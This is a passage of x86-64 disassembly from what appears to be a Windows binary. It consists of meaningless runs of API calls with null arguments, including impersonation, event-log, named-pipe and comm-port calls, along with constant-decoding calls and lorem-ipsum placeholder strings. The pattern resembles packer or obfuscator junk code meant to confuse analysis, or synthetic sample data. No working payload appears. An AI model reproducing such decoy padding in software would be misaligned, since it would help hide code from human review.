call rbx
mov rax, qword [0x004ca260]
xor ecx, ecx
mov dword [rax], 0xf3ee371e
mov rax, qword [rsp + 0x68]
call rax
mov r12, qword [sym.imp.KERNEL32.dll_SetCommMask]
xor edx, edx
xor ecx, ecx
call r12
mov rax, qword [0x004ca720]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca530]
mov dword [rax], edx
mov rax, qword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
xor edx, edx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x58], rax
call rax
xor ecx, ecx
call rdi
mov rsi, qword [sym.imp.KERNEL32.dll_GetFileType]
xor ecx, ecx
call rsi
mov rax, qword [0x004cabe0]
mov rdx, qword [0x004ca620]
xor ecx, ecx
mov r15, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
call r15
mov rax, qword [0x004cad80]
mov ecx, 0xb3ea4484
mov dword [rax], 0x1c3cd7eb
call fcn.00414620
mov rdx, qword [0x004caa40]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov qword [rsp + 0x88], rax
call rax
mov rax, qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x60], rax
call rax
xor edx, edx
xor ecx, ecx
call r15
xor ecx, ecx
call rdi
mov rbp, qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor ecx, ecx
call rbp
xor edx, edx
xor ecx, ecx
call r12
mov rax, qword [0x004ca210]
mov ecx, dword [rax]
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004ca2a0]
mov dword [rdx], eax
mov rax, qword [0x004ca7a0]
xor edx, edx
mov dword [rax], 0x8fe110e0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rbx
lea rdx, str.MinaThielSr
lea rcx, str.BretReichert
mov rax, qword [rsp + 0x50]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_OpenEventA]
xor edx, edx
xor ecx, ecx
lea r8, str.Quae_et_deserunt_fuga_repellendus_illum_aliquid_ducimus_nulla
mov qword [rsp + 0x70], rax
call rax
mov r10, qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rcx, str.At_doloremque_accusantium_quam_a_accusamus_explicabo_quia_ipsum_modi
mov qword [rsp + 0x98], r10
call r10
xor ecx, ecx
call rbp
mov rax, qword [0x004ca2c0]
mov edx, dword [rax]
mov rax, qword [0x004ca1f0]
mov dword [rax], edx
mov rax, qword [0x004caba0]
mov ecx, dword [rax]
call fcn.00414620
mov rcx, qword [0x004caa90]
mov rdx, qword [0x004ca240]
mov dword [rcx], eax
mov rax, qword [0x004ca3d0]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x60]
call rax
xor r9d, r9d
mov dword [rsp + 0x20], 0
xor r8d, r8d
mov qword [rsp + 0x30], 0
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], 0
call rbx
xor ecx, ecx
call rbp
mov rax, qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
mov qword [rsp + 0x78], rax
call rax
mov rax, qword [0x004ca2e0]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x8db231d7
call r15
xor ecx, ecx
mov rax, qword [rsp + 0x78]
call rax
xor r9d, r9d
xor r8d, r8d
mov r14, qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
xor edx, edx
xor ecx, ecx
call r14
xor edx, edx
xor ecx, ecx
call r12
mov rax, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
xor edx, edx
lea rcx, str.Modi_neque_non_distinctio_dolores_deserunt_sit_possimus_sed
mov qword [rsp + 0x80], rax
call rax
mov rax, qword [0x004ca470]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [str.Z2iy]
mov dword [rax], edx
xor edx, edx
call r14
mov rax, qword [0x004cad60]
xor ecx, ecx
mov dword [rax], 0x8a2269d2
call rsi
mov rax, qword [0x004ca490]
mov rcx, qword [0x004ca990]
mov dword [rax], 0x6934dfd8
mov rax, qword [0x004ca320]
mov eax, dword [rax]
mov dword [rcx], eax
mov rax, qword [0x004ca400]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caf80]
mov r11, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.ChaseMcCulloughPhD
mov dword [rdx], eax
mov rax, qword [0x004cad20]
mov qword [rsp + 0x90], r11
mov dword [rax], 0x1f402b21
call r11
xor ecx, ecx
mov r12, qword [sym.imp.KERNEL32.dll_SetEvent]
call r12
xor ecx, ecx
call r13
xor ecx, ecx
call rbp
mov ecx, 0xee51b04c
call fcn.00414620
mov r13, qword [0x004ca650]
xor ecx, ecx
mov dword [r13], eax
mov rax, qword [0x004caba0]
mov dword [rax], 0xdfaa6c56
call rdi
xor edx, edx
lea r8, str.Dolores_harum_totam_et_temporibus_enim
xor ecx, ecx
mov rax, qword [rsp + 0x70]
call rax
mov r10, qword [rsp + 0x98]
lea rcx, str.Voluptatem_consectetur_temporibus_et_voluptates
call r10
mov r10, qword [0x004cab10]
mov rax, qword [0x004ca2f0]
xor ecx, ecx
lea r8, str.TedBoyerIV
mov edx, dword [r10]
mov dword [rax], 0xf15dad87
mov rax, qword [0x004cae50]
mov dword [rax], edx
mov edx, dword [r13]
mov rax, qword [0x004caab0]
mov dword [rax], edx
xor edx, edx
mov rax, qword [rsp + 0x70]
call rax
xor ecx, ecx
call rbp
mov rax, qword [0x004caef0]
mov rdx, qword [0x004ca4e0]
xor ecx, ecx
mov r13, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
call r13
xor ecx, ecx
mov rax, qword [rsp + 0x88]
call rax
mov rax, qword [0x004ca560]
mov dword [rax], 0x8b921afb
mov rax, qword [0x004ca5f0]
mov edx, dword [rax]
mov rax, qword [0x004caed0]
mov dword [rax], edx
mov rax, qword [0x004ca3c0]
mov dword [rax], 0x5a1a3551
mov rax, qword [0x004ca990]
mov dword [rax], 0xf502f729
mov rax, qword [0x004cac50]
mov dword [rax], 0x79709f6f
mov rax, qword [0x004caa60]
mov ecx, dword [rax]
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004ca2b0]
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x58]
mov dword [rsp + 0x20], 0
call rax
mov rax, qword [0x004cae30]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca9b0]
lea rcx, str.Quia_id_qui_atque_tenetur_excepturi
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x80]
call rax
mov rax, qword [0x004cae00]
mov dword [rax], 0x5abf039
mov rax, qword [0x004caa50]
mov edx, dword [rax]
mov rax, qword [0x004cad30]
mov dword [rax], edx
mov rax, qword [0x004caba0]
mov dword [rax], 0x1336c1d5
mov rax, qword [0x004ca620]
mov ecx, dword [rax]
call fcn.00414620
mov r10, qword [0x004cab10]
xor edx, edx
xor ecx, ecx
mov dword [r10], eax
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
xor ecx, ecx
call r12
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x60]
call rax
xor edx, edx
xor ecx, ecx
call r13
mov rax, qword [0x004ca5a0]
xor ecx, ecx
mov dword [rax], 0x1979ca91
mov rax, qword [0x004ca460]
mov dword [rax], 0xa622a1eb
call rsi
xor ecx, ecx
call rsi
xor edx, edx
xor ecx, ecx
call r15
mov rax, qword [0x004ca260]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cae80]
mov dword [rax], edx
mov rax, qword [0x004ca1c0]
mov edx, dword [rax]
mov rax, qword [0x004cad90]
mov dword [rax], edx
xor edx, edx
call r13
xor ecx, ecx
mov rax, qword [rsp + 0x78]
call rax
mov rax, qword [0x004cae20]
mov rcx, qword [0x004ca240]
mov eax, dword [rax]
mov dword [rcx], eax
mov rax, qword [0x004ca1b0]
mov ecx, 0x2aa1a562
mov dword [rax], 0x9334de0b
mov rax, qword [0x004ca4e0]
mov edx, dword [rax]
mov rax, qword [0x004ca9a0]
mov dword [rax], edx
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004ca350]
mov dword [rdx], eax
xor edx, edx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rbx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call r14
mov rax, qword [0x004caf60]
mov ecx, 0x6532422c
mov dword [rax], 0xe79463be
call fcn.00414620
mov rdx, qword [0x004cac70]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004ca470]
mov dword [rax], 0xecd87160
call rsi
mov r14, qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor ecx, ecx
call r14
xor ecx, ecx
call r14
mov ecx, 0xa89d0a34
call fcn.00414620
mov rdx, qword [0x004ca590]
mov r11, qword [rsp + 0x90]
lea rcx, str.EmileHintzDVM
mov dword [rdx], eax
call r11
mov ecx, 0xc01c1199
call fcn.00414620
mov rdx, qword [0x004ca5c0]
xor ecx, ecx
mov dword [rdx], eax
call rdi
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov rax, qword [0x004caa90]
xor edx, edx
xor ecx, ecx
xor r9d, r9d
xor r8d, r8d
mov dword [rax], 0x66da0ec2
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rbx
mov rax, qword [0x004ca220]
mov rdx, qword [0x004ca320]
xor ecx, ecx
mov r14, qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov eax, dword [rax]
mov dword [rdx], eax
call r14
mov rax, qword [0x004ca370]
xor ecx, ecx
mov dword [rax], 0xc88c03a4
call rbp
xor ecx, ecx
mov rax, qword [rsp + 0x68]
call rax
mov ecx, 0x23a7e4ee
call fcn.00414620
mov rdx, qword [0x004cab80]
lea rcx, str.LilianePollich
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x80]
call rax
xor ecx, ecx
call r12
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
call rbx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
call rbx
mov rax, qword [0x004ca550]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xe8d56131
call r13
xor ecx, ecx
call rdi
xor ecx, ecx
call rsi
xor edx, edx
xor ecx, ecx
call r15
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x004ca720]
mov rbx, qword [0x004cad60]
mov ecx, 0xdfbad9ce
mov dword [rax], 0x873dca1b
mov rax, qword [0x004cad50]
mov dword [rax], 0x3c601950
mov rax, qword [0x004ca4e0]
mov edx, dword [rax]
mov rax, qword [0x004caaa0]
mov dword [rax], edx
mov rax, qword [0x004cad80]
mov edx, dword [rax]
mov rax, qword [0x004ca7c0]
mov dword [rax], edx
mov rax, qword [0x004ca230]
mov eax, dword [rax]
mov dword [rbx], eax
call fcn.00414620
mov rbx, qword [0x004ca240]
lea rdx, str.Eius_corrupti_ut_alias_temporibus_libero_dignissimos_in_impedit_a_quaerat
lea rcx, str.MrLloydWeissnatSr
mov dword [rbx], eax
mov rax, qword [rsp + 0x50]
call rax
mov ecx, 0x54f81b4
call fcn.00414620
mov rdx, qword [str.7U5]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004ca270]
xor edx, edx
mov dword [rax], 0x955ff947
mov rax, qword [rsp + 0x58]
mov dword [rsp + 0x20], 0
call rax
mov ecx, 0xb3b93546
call fcn.00414620
mov rbx, qword [0x004ca320]
lea rdx, str.WadeBarton
lea rcx, str.Iure_voluptatum_fuga_odio
mov dword [rbx], eax
mov rax, qword [rsp + 0x50]
call rax
xor ecx, ecx
call r14
mov rax, qword [0x004ca460]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca9c0]
mov dword [rax], edx
xor edx, edx
mov rax, qword [rsp + 0x60]
call rax
xor ecx, ecx
call r12
mov rax, qword [0x004ca540]
mov rdi, qword [0x004ca6d0]
mov dword [rax], 0x3882fbb2
mov rax, qword [0x004cadf0]
mov eax, dword [rax]
mov dword [rdi], eax
cmp qword [rsp + 0x9c0], 0
mov rax, qword [0x004cacb0]
mov eax, dword [rax]
je 0x406d1e
mov rbx, qword [rsp + 0x9c0]
cmp byte [rbx], 0
jne 0x407ac7
cmp eax, 0x40a2
jle 0x407405
mov rax, qword [0x004cad50]
mov rdi, qword [0x004ca5e0]
xor edx, edx
xor ecx, ecx
mov r13, qword [sym.imp.KERNEL32.dll_SetCommMask]
mov eax, dword [rax]
mov dword [rdi], eax
call r13
mov rax, qword [0x004caea0]
xor ecx, ecx
mov dword [rax], 0xab0b19f6
mov rax, qword [0x004ca540]
mov edx, dword [rax]
mov rax, qword [0x004caf30]
mov dword [rax], edx
mov rax, qword [0x004ca620]
mov dword [rax], 0xb74c2842
mov rax, qword [sym.imp.KERNEL32.dll_GetFileType]
mov qword [rsp + 0x50], rax
call rax
mov rax, qword [0x004ca480]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca430]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r13
mov rax, qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x58], rax
call rax
mov ecx, 0x759e608
call fcn.00414620
mov r12, qword [0x004ca770]
xor ecx, ecx
mov dword [r12], eax
mov rax, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
mov qword [rsp + 0x60], rax
call rax
xor r9d, r9d
xor r8d, r8d
mov rsi, qword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
call rsi
mov r11, qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor ecx, ecx
mov qword [rsp + 0x70], r11
call r11
mov rax, qword [0x004ca400]
xor ecx, ecx
mov rdi, qword [0x004cad20]
mov r15, qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov edx, dword [rax]
mov rax, qword [0x004cad40]
mov dword [rdi], 0xcdeffce5
mov dword [rax], edx
mov rax, qword [0x004ca800]
mov edx, dword [rax]
mov rax, qword [0x004ca9b0]
mov dword [rax], edx
call r15
mov rax, qword [0x004caf60]
mov ecx, 0x7f0c6b7a
mov edx, dword [rax]
mov rax, qword [0x004ca220]
mov dword [rax], edx
call fcn.00414620
mov rbp, qword [0x004ca360]
xor ecx, ecx
mov rbx, qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov dword [rbp], eax
call rbx
mov ecx, 0x5a197093
call fcn.00414620
mov ecx, 0x9ef6b712
mov dword [rdi], eax
call fcn.00414620
mov rdx, qword [0x004ca630]
mov dword [rdx], eax
mov rax, qword [0x004ca9c0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca9a0]
xor r9d, r9d
xor r8d, r8d
mov dword [rdx], eax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
call rsi
mov r14, qword [sym.imp.KERNEL32.dll_SetEvent]
xor ecx, ecx
call r14
mov rax, qword [0x004caba0]
xor edx, edx
xor ecx, ecx
lea r8, str.Deserunt_neque_atque_nisi_consectetur
mov rdi, qword [sym.imp.KERNEL32.dll_OpenEventA]
mov dword [rax], 0x38e98f1f
mov rax, qword [0x004cae10]
mov dword [rax], 0x158d05cf
mov rax, qword [0x004cada0]
mov dword [rax], 0x3603038e
call rdi
mov r10, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x68], r10
call r10
mov rax, qword [0x004cac50]
mov rcx, qword [0x004ca6d0]
mov eax, dword [rax]
mov dword [rcx], eax
mov ecx, dword [r12]
mov rax, qword [0x004ca520]
mov dword [rax], 0x388db0c7
call fcn.00414620
mov rdx, qword [0x004ca6d0]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r13
mov rax, qword [0x004cac30]
mov ecx, 0x83dfcb15
mov dword [rax], 0x6f3485c9
call fcn.00414620
mov rdx, qword [0x004ca6e0]
mov ecx, 0x947783ea
mov dword [rdx], eax
mov rax, qword [0x004ca710]
mov dword [rax], 0xce900206
call fcn.00414620
mov rdx, qword [0x004cab50]
xor r8d, r8d
xor ecx, ecx
mov dword [rbp], 0xa578615e
mov dword [rdx], eax
mov rax, qword [0x004ca3e0]
mov dword [rax], 0x5b15b7e
mov rax, qword [0x004ca2e0]
mov edx, dword [rax]
mov rax, qword [0x004caa10]
mov dword [rax], edx
mov rax, qword [0x004caa90]
mov dword [rax], 0x92943998
mov rax, qword [0x004ca400]
mov edx, dword [rax]
mov rax, qword [0x004ca1a0]
mov dword [rax], edx
mov rax, qword [0x004caeb0]
mov edx, dword [rax]
mov rax, qword [0x004cab20]
mov dword [rax], edx
mov rax, qword [0x004ca3f0]
mov edx, dword [r12]
mov r12, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov dword [rax], 0x9840aa8
mov rax, qword [0x004cabb0]
mov dword [rax], edx
xor edx, edx
call r12
mov rax, qword [0x004cab70]
mov ecx, 0x5a566d29
mov dword [rax], 0x7c665f32
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004caa30]
mov dword [rdx], eax
mov edx, dword [rbp]
mov rax, qword [str.7U5]
mov dword [rax], edx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
mov rbp, qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rcx, str.EleanoraLockman
call rbp
mov rax, qword [0x004caad0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca6f0]
xor r9d, r9d
xor r8d, r8d
mov r13, qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
mov dword [rdx], eax
mov rax, qword [0x004ca690]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xbb543406
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call r13
mov ecx, 0x34cbeefd
call fcn.00414620
mov rdx, qword [0x004ca410]
xor ecx, ecx
lea r8, str.NeilQuigley
mov dword [rdx], eax
xor edx, edx
call rdi
lea r8, str.AlenaSawayn
xor edx, edx
xor ecx, ecx
call rdi
mov r10, qword [rsp + 0x68]
xor edx, edx
xor ecx, ecx
call r10
lea rcx, str.Excepturi_consectetur_vel_ut_et_quaerat_veritatis_officiis
call rbp
lea rdx, str.JoyceTowne
lea rcx, str.JedediahMoen
call qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
mov rax, qword [0x004ca420]
mov ecx, dword [rax]
call fcn.00414620
mov rdi, qword [0x004caec0]
xor edx, edx
xor ecx, ecx
xor r9d, r9d
xor r8d, r8d
mov dword [rdi], eax
mov dword [rsp + 0x20], 0
call rsi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
call r13
lea rcx, str.JazmynMiller
call rbp
xor edx, edx
mov rsi, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
lea rcx, str.MadgeKingV
call rsi
xor ecx, ecx
mov r13, qword [sym.imp.KERNEL32.dll_SetLastError]
call r13
mov ecx, 0xc90f60b6
call fcn.00414620
mov rdx, qword [0x004caa50]
mov dword [rdx], eax
mov rax, qword [0x004cada0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca510]
mov ecx, 0x368af08a
mov dword [rdx], eax
call fcn.00414620
xor r8d, r8d
xor ecx, ecx
mov dword [rdi], eax
mov rax, qword [0x004ca2b0]
mov edx, dword [rax]
mov rax, qword [0x004ca300]
mov dword [rax], edx
xor edx, edx
call r12
mov rdi, qword [sym.imp.KERNEL32.dll_SetEndOfFile]
xor ecx, ecx
call rdi
xor ecx, ecx
call r14
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x58]
call rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindClose]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextStreamW]
lea rcx, str.DrDarwinMarks
call rbp
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
mov ecx, 0xf8e97ca2
call fcn.00414620
mov rdx, qword [0x004ca5b0]
mov dword [rdx], eax
mov rax, qword [0x004caf40]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cac10]
mov dword [rdx], eax
mov rax, qword [0x004ca4f0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca7c0]
xor r8d, r8d
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r12
mov ecx, 0x7a144c5c
call fcn.00414620
mov rcx, qword [0x004ca5e0]
mov dword [rcx], eax
xor ecx, ecx
call rbx
mov rax, qword [0x004ca2a0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cae70]
mov dword [rax], edx
mov rax, qword [rsp + 0x50]
call rax
mov rax, qword [0x004ca500]
mov ecx, 0x54d2a54a
mov dword [rax], 0xeb6b6d53
call fcn.00414620
mov r14, qword [0x004caa00]
mov ecx, 0x4f6e1f47
mov dword [r14], eax
call fcn.00414620
mov rdx, qword [0x004ca9c0]
lea rcx, str.Dolor_nobis_est_officia
mov dword [rdx], eax
xor edx, edx
call rsi
xor ecx, ecx
mov rax, qword [rsp + 0x60]
call rax
mov rax, qword [0x004caea0]
mov ecx, dword [rax]
call fcn.00414620
mov rcx, qword [0x004ca5e0]
mov dword [rcx], eax
mov ecx, 0x7701025f
call fcn.00414620
mov rdx, qword [0x004ca350]
lea rcx, str.Molestias_sapiente_quis_minima_voluptatem_est_ab_deserunt_explicabo_tenetur_consectetur_et_aut_et
mov dword [rdx], eax
call rbp
mov rax, qword [0x004cac20]
mov ecx, 0x5a99cfe7
mov dword [rax], 0x2492319b
call fcn.00414620
mov rbp, qword [0x004caf50]
mov ecx, 0xa33d7870
mov dword [rbp], eax
call fcn.00414620
mov rdx, qword [0x004ca7b0]
mov rcx, qword [0x004ca710]
mov dword [rdx], eax
mov rax, qword [0x004ca350]
mov edx, dword [r14]
mov eax, dword [rax]
mov dword [rcx], eax
mov rax, qword [0x004caab0]
xor ecx, ecx
mov dword [rax], edx
mov rax, qword [0x004caac0]
mov dword [rax], 0x68d57680
call rdi
mov rax, qword [0x004ca450]
mov ecx, dword [rbp]
mov dword [rax], 0x4474396e
call fcn.00414620
mov rdx, qword [0x004caa80]
mov rdi, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.Voluptas_velit_eum
mov dword [rdx], eax
mov rax, qword [0x004ca7d0]
mov edx, dword [rax]
mov rax, qword [0x004cad30]
mov dword [rax], edx
call rdi
lea rcx, str.AnnabelKuvalis
call rdi
xor ecx, ecx
call r13
mov rax, qword [0x004ca650]
mov rdi, qword [0x004ca690]
mov ecx, 0xc6b4410b
mov eax, dword [rax]
mov dword [rdi], eax
call fcn.00414620
mov rdx, qword [0x004ca280]
xor ecx, ecx
mov dword [rdx], eax
call r15
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call r12
mov r11, qword [rsp + 0x70]
xor ecx, ecx
call r11
lea rcx, str.Ea_dolores_rerum_atque_facilis
xor edx, edx
call rsi
xor ecx, ecx
call rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x88], rax
mov rax, qword [0x004cacb0]
cmp dword [rax], 0x2f57
jne 0x40a7ca
mov ecx, 0xe0173899
call fcn.00414620
mov r13, qword [0x004caa30]
mov dword [r13], eax
mov rax, qword [0x004cad90]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cadc0]
mov rdi, qword [sym.imp.KERNEL32.dll_SetEvent]
xor ecx, ecx
mov dword [rdx], eax
call rdi
mov rax, qword [0x004caec0]
mov ecx, dword [rax]
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004caba0]
mov dword [rdx], eax
xor edx, edx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
mov r11, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
xor ecx, ecx
mov qword [rsp + 0x80], r11
call r11
mov rax, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
xor ecx, ecx
mov qword [rsp + 0x50], rax
call rax
mov rax, qword [0x004cadf0]
xor edx, edx
xor ecx, ecx
mov rbp, qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
mov dword [rax], 0x2d36ea65
call rbp
mov rax, qword [0x004ca410]
mov rbx, qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
xor ecx, ecx
mov dword [rax], 0x6c0cd1a0
mov rax, qword [0x004ca4f0]
mov edx, dword [rax]
mov rax, qword [0x004cadd0]
mov dword [rax], edx
xor edx, edx
call rbx
mov rax, qword [0x004caa00]
mov rsi, qword [0x004ca6f0]
xor ecx, ecx
mov dword [rax], 0x71fdea8c
mov rax, qword [0x004ca1e0]
mov dword [rsi], 0x949ada95
mov dword [rax], 0xb0840b0f
mov rax, qword [0x004ca710]
mov edx, dword [rax]
mov rax, qword [0x004cad20]
mov dword [rax], edx
call rdi
mov rax, qword [0x004cae80]
xor edx, edx
xor ecx, ecx
mov r15, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov dword [rax], 0xf3d08053
call r15
mov edx, dword [rsi]
mov rax, qword [0x004ca610]
xor ecx, ecx
lea r8, str.Incidunt_ipsa_nostrum
mov dword [rax], edx
mov rax, qword [0x004cabc0]
xor edx, edx
mov dword [rax], 0x2af5c214
mov rax, qword [sym.imp.KERNEL32.dll_OpenEventA]
mov qword [rsp + 0x68], rax
call rax
mov rax, qword [0x004ca460]
xor r8d, r8d
xor ecx, ecx
xor edx, edx
mov dword [rax], 0x7db00b2e
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov qword [rsp + 0x58], rax
call rax
xor edx, edx
xor ecx, ecx
call rbx
mov rax, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x60], rax
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileType]
xor ecx, ecx
mov qword [rsp + 0x70], rax
call rax
mov rdi, qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
call rdi
xor r9d, r9d
xor r8d, r8d
mov rsi, qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
xor edx, edx
xor ecx, ecx
call rsi
xor ecx, ecx
call rdi
mov r12, qword [0x004cab40]
mov ecx, dword [r12]
call fcn.00414620
mov rdx, qword [0x004ca4e0]
mov rcx, qword [0x004cad60]
mov dword [rdx], eax
mov rax, qword [0x004ca570]
mov eax, dword [rax]
mov dword [r12], eax
mov rax, qword [0x004caf80]
mov eax, dword [rax]
mov dword [rcx], eax
mov ecx, 0xcbaa67f1
call fcn.00414620
mov rdx, qword [0x004cae00]
mov dword [rdx], eax
mov rax, qword [0x004cab60]
mov rdx, qword [0x004ca4f0]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004ca260]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca1c0]
mov dword [rdx], eax
mov rax, qword [0x004ca1d0]
mov ecx, dword [rax]
call fcn.00414620
xor r8d, r8d
xor r9d, r9d
xor ecx, ecx
mov rdx, qword [0x004ca740]
mov dword [rdx], eax
mov rax, qword [0x004cabc0]
mov edx, dword [rax]
mov rax, qword [0x004caf00]
mov dword [rax], edx
xor edx, edx
call rsi
mov ecx, 0x52198a0c
call fcn.00414620
mov r9, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.Sequi_nisi_eius_sit_quam_nihil
mov dword [r13], eax
mov rax, qword [0x004ca7e0]
mov qword [rsp + 0x78], r9
mov dword [rax], 0xc3c87333
call r9
mov r14, qword [sym.imp.KERNEL32.dll_SetEndOfFile]
xor ecx, ecx
call r14
xor r8d, r8d
xor edx, edx
mov rax, qword [rsp + 0x58]
xor ecx, ecx
call rax
mov rax, qword [0x004caea0]
mov r12, qword [0x004caa40]
mov rcx, qword [0x004ca3c0]
mov eax, dword [rax]
mov dword [r12], 0x76ff8c59
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetCommBreak]
mov ecx, 0xf8a4209c
call fcn.00414620
mov rdx, qword [0x004caf20]
mov dword [rdx], eax
mov rax, qword [0x004ca770]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca780]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004ca360]
xor edx, edx
mov dword [rax], 0x67116bba
